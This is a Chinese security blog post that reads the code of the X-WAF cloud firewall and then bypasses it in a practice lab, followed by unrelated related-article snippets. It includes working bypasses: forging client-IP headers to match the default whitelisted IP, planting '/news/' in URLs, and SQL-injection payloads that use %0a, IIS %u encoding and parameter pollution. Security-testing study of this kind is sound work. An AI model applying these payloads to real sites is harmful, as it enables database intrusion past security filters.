分析绕过一款适合练手的云WAF
X-WAF是一款使用中、小企业的云WAF系统,让中、小企业也可以非常方便地拥有自己的免费云WAF。
本文从代码出发,一步步理解WAF的工作原理,多姿势进行WAF Bypass。
0x01 环境搭建
官网:
https://waf.xsec.io>
github 源码:
https://github.com/xsec-lab/x-waf
X-WAF 下载安装后,设置反向代理访问构造的 SQL 注入点
0x02 代码分析
首先看一下整体的目录结构,nginx_conf目录为参考配置(可删除),rules目录存放过滤规则,init.lua加载规则,access.lua程序启动,config.lua配置文件
主要逻辑实现全部在util.lua和waf.lua文件。
代码逻辑很简单,先熟悉一下检测流程,程序入口在waf.lua第262-274行中:
-- waf startfunction _M.check() if _M.white_ip_check() thenelseif _M.black_ip_check() thenelseif _M.user_agent_attack_check() thenelseif _M.white_url_check() thenelseif _M.url_attack_check() thenelseif _M.cc_attack_check() then elseif _M.cookie_attack_check() thenelseif _M.url_args_attack_check() thenelseif _M.post_attack_check() thenelsereturnend`
这个一个多条件判断语句,一旦满足前面的条件就不再进行后面的检测。
白名单
首先判断 IP 白名单,我们来看一下 white_ip_check() 函数,同文件下的第 50-64 行:
-- white ip checkfunction _M.white_ip_check()if config.config_white_ip_check == "on" thenlocal IP_WHITE_RULE = _M.get_rule('whiteip.rule')local WHITE_IP = util.get_client_ip()if IP_WHITE_RULE ~= nil thenfor _, rule in pairs(IP_WHITE_RULE) doif rule ~= "" and rulematch(WHITE_IP, rule, "jo") thenutil.log_record(config.config_log_dir, 'White_IP', ngx.var_request_uri, "_", "_")return trueendendendend
默认配置IP白名单是开启状态,读取IP白名单规则与获取的客户端IP进行对比,我们再来跟进看一下get_client_ip()函数,在util.lua文件中,第83-96行:
-- Get the client IPfunction _M.get_client_ip()local CLIENT_IP = ngx.req.get_headers()["X_real_ip"]if CLIENT_IP == nil thenCLIENT_IP = ngx.req.get_headers()["X_Forwarded_For"]endif CLIENT_IP == nil thenCLIENT_IP = ngx.var.remote_addrendif CLIENT_IP == nil thenCLIENT_IP = ""endreturn CLIENT_IP
end
在这段获取客户端IP的代码中,后去的X_real_ip、X_Forwarded_For使用可控的,存在客户端IP地址可伪造的风险。最后再来看一下,rules目录中whiteip.rule的默认配置:
[{"Id": 74, "RuleType": "whiteip", "RuleItem": "8.8.8.8"}]
IP白名单规则默认IP: 8.8.8.8为白名单
因此我们可以通过构造HTTP请求Header实现伪造IP来源为8.8.8.8,从而绕过x-waf的所有安全防御。
Bypass 测试
先来一张拦截效果图
伪造客户端 IP 绕过:
另外有趣的是,在blackip.rule里面,把8.8.8.8放置在黑名单里面,但这并没有什么用,IP白名单已经跳出多条件判断,不会再进行IP黑名单检测。CC攻击的防御也主要是从客户端获取IP,也可以伪造客户端IP轻易绕过限制。
[{"Id": 2, "RuleType": "blackip","RuleItem": "8.8.8.8"},{"Id": 3, "RuleType": "blackip","RuleItem": "1.1.1.1"}
]
同样来看一下url白名单white_url_check()函数:
function _M.white_url_check()if config.config_white_url_check == "on" thenlocal URL_WHITE_RULES = _M.get_rule('writeurl.rule')local REQ_URI = ngx.var.request_uriif URL_WHITE_RULES ~= nil thenfor _, rule in paires(URL_WHITE_RULES) doif rule ~= "" and rulematch(REQ_URI, rule, "joi") thenreturn trueendendendend
end
添加了一下URL白名单功能,感觉无效,对比了一下rules文件,可以发现加载的rule文件名不一致。
这里应该是作者的一个笔误,writeurl.rule和whiteUrl.rule。
默认url白名单配置:
[{"Id": 73,"RuleType": "whiteUrl","RuleItem": "/news/"}
]
另外,这里使用ngx.re.find进行ngx.var.request_uri和rule匹配,只要url中存在/news/,就不进行检测,绕过安全防御规则。比如:/test/sql,php/news/?id=1、/test/sql,php?id=1&b=/news/等形式可绕过。
正则匹配
接下来,我们主要来看一下M.url_args_attack_check():
-- deny url argsfunction _M.url_args_attack_check()if config.config_url_args_check == "on" thenlocal ARGS_RULES = _M.get_rule('args.rule')for _, rule in pairs(ARGS_RULES) dolocal REQ_ARGS = ngx.req.get_uri_args()for key, val in pairs(REQ_ARGS) dolocal ARGS_DATA = {}if type(val) == 'table' thenARGS_DATA = table.concat(val, " ")elseARGS_DATA = valendif ARGS_DATA and type(ARGS_DATA) ~= "boolean" and rule ~= "" and rulematch(unescape(ARGS_DATA), rule, "joi") thenutil.log_record(config.config_log_dirc, 'Get_Attack', ngx.var.request_uri, "-", rule)if config.config_waf_enable == "on" thenutil.waf_output()return trueendendendendendreturn false
end
M.post_attack_check():
-- deny postfunction _M.post_attack_check()if config.config_post_check == "on" thenngx.req.read_body()local POST_RULES = _M.get_rule('post.rule')for _, rule in pairs(POST_RULES) dolocal POST_ARGS = ngx.req.get_post_args() or {}for k, v in pairs(POST_ARGS) dolocal post_data = ""if type(v) == "table" thenpost_data = table.concat(v, ", ")elseif type(v) == "boolean" thenpost_data = kelsepost_data = vendif rule ~= "" and rulematch(post_data, rule, "joi") thenutil.log_record(config.config_log_dir, 'Post_Attack', post_data, "-", rule)if config.config_waf_enable == "on" thenutil.waf_output()return trueendendendendendreturn false
end
两段函数在一定程度上是类似的,使用ngx.req.get_uri_args、ngx.req.get_post_args获取数据来源,前者来自uri请求参数,而后者来自post请求内容,并未对数据进行特殊处理,然后都使用rulematch(data, rule, "joi") 来进行匹配。
rule中比较关键SQL注入防御规则如下:
`select.+(from|limit)
(?:(union(.*?)select))
(?:form\W+information_schema\W)`
绕过姿势一:%0a
由于使用的是joi来修饰,我们可以用%0a来进行绕过。
/sql.php?id=1 union%0aselect
1, schema_name, 3%0afrom
/*!12345information_schema.schemata*/
绕过姿势二:%u 特性
主要利用 IIS 服务器支持 unicode 的解析
/sql.aspx?id=1 union selec%u0054
null,table_name,null fro%u004d
information_schema.tables
绕过姿势三:HPP+GPC
使用 GPC 三种方式可以进行参数传递,利用 apsx 特性,将获取到参数拼接起来,可成功 Bypass
/sql.aspx?id=1 union/*
POST:Id=2*/select null,system_user,null
0x03 总结
这是一款适合用来进行 WAF Bypass 练手的云 WAF,通过代码层面熟悉 WAF 的工作原理,进一步理解和应用各种服务器特性、数据库特性来进行尝试 Bypass,期待与你来交流更多姿势。
分析绕过一款适合练手的云WAF相关推荐
- Android股票app模拟同花顺,适合练手的Android项目
本项目是一款Android股票app软件,模拟同花顺,高仿微信九宫格图片浏览和Activity滑动返回,使用Volley网络请求和MVP框架 ,PullToRefreshRecyclerView.自定 ...
- part1:推荐一些适合练手、课程设计、毕业设计的python小项目源码,无任何下载门槛
人生苦短,我用python,随着python这些年的流行,很多人开始使用python来实现各种功能.下面推荐一些适合用来练手.大学生课程设计作业.大学生毕业设计的python小项目,尤其适合新手,源码 ...
- stripfxg php,代码审计| 适合练手的ZZCMS8.2漏洞
0x00 **背景** 本周,分析了下zzcms8.2的源码,发现了蛮多问题的,觉得这个源码适合萌新们练手或入坑PHP的代码审计,发出一些我发现的问题,当然这个源码还有很多问题,本篇仅对部分漏洞进行分 ...
- 软件测试分享15个适合练手的项目【金融/银行/商城/电商/医药......】
还愁没有练手的项目?我已经给你准备好了,需要评论区留下你的想法吧 1.引言 1.1 文档版本 版本 作者 审批 备注 V1.0 XXXX 创建测试方案文档 1.2 项目情况 项目名称 XXX 项目版本 ...
- java 适合练手的java项目
Java作为一门古老的语言,已有20年左右的历史,这在发展日新月异的技术圈可以说是一个神话. 虽然不少人曾抱怨Java语言就像老太太的裹脚布,又臭又长,有时写了500行都不能表达程序员的意图. 但从市 ...
- 有哪些适合练手的爬虫小项目?
点击上方蓝色字体,星标公众号 我们正在发起一场公益活动: 无私帮助大家解决难题,真正解决的那种! 问答起飞 如果你平时遇到任何困扰你已久的问题,可以加群,告诉我们,统一记录到<QA>表中. ...
- 简单且有创意的python作品_适合练手的 14 个Python 小项目,趣味十足!
掌握一门技术,迅速提升能力,最好方法是通过实践项目,最好是完整且有趣的.分享一本,我认为非常不错的书籍,<Python Playground>,这本书每个章节就是一个完整的小项目. ...
- scrapy+selenuim中间件爬取京东图书有详细思考过程(涉及较广适合练手)
网上很多版本的爬取京东图书都失效了 现在这个版本是能运行的截至到编辑的日期的前后(往后不敢保证) gitee仓库网址:https://gitee.com/cc2436686/jd_book_spide ...
- 适合练手的 14 个Python 小项目,趣味十足!
掌握一门技术,迅速提升能力,最好方法是通过实践项目,最好是完整且有趣的.分享一本,我认为非常不错的书籍,<Python Playground>,这本书每个章节就是一个完整的小项目. 第一章 ...
最新文章
- 清除浮动(clearfix)
- java、上转型对象
- SAP WebIDE:how to enable context API reference
- php ob 缓存,php中ob函数缓冲机制深入理解
- JAVA Web学习篇--Servlet
- CarbonData:大数据融合数仓新一代引擎
- 今天迈出第一步,开始了解iphone开发
- 滴滴宣布架构大调整,强调安全第一
- Web Service-第一篇什么是Web Service
- maya python 游戏与影视编程指南pdf_《Maya Python游戏与影视编程指南》.( [美]Adam Mechtley).[PDF]...
- 光纤信号服务器,485转光纤的两种方式
- 【C 语言】文件操作 ( fopen 文件打开方式详解 )
- java int short区别_Java基础之数据比较Integer、Short、int、short
- IT人才外包服务的好处?
- Pytorch和Torch和torchvision的安装
- 观念理解论创业设计思维
- Java基础恶补——内存泄露、内存溢出
- 2022北林计科学生保研历程
- C#中sealed的用法
- win开启审计功能_windows文件共享审计功能开启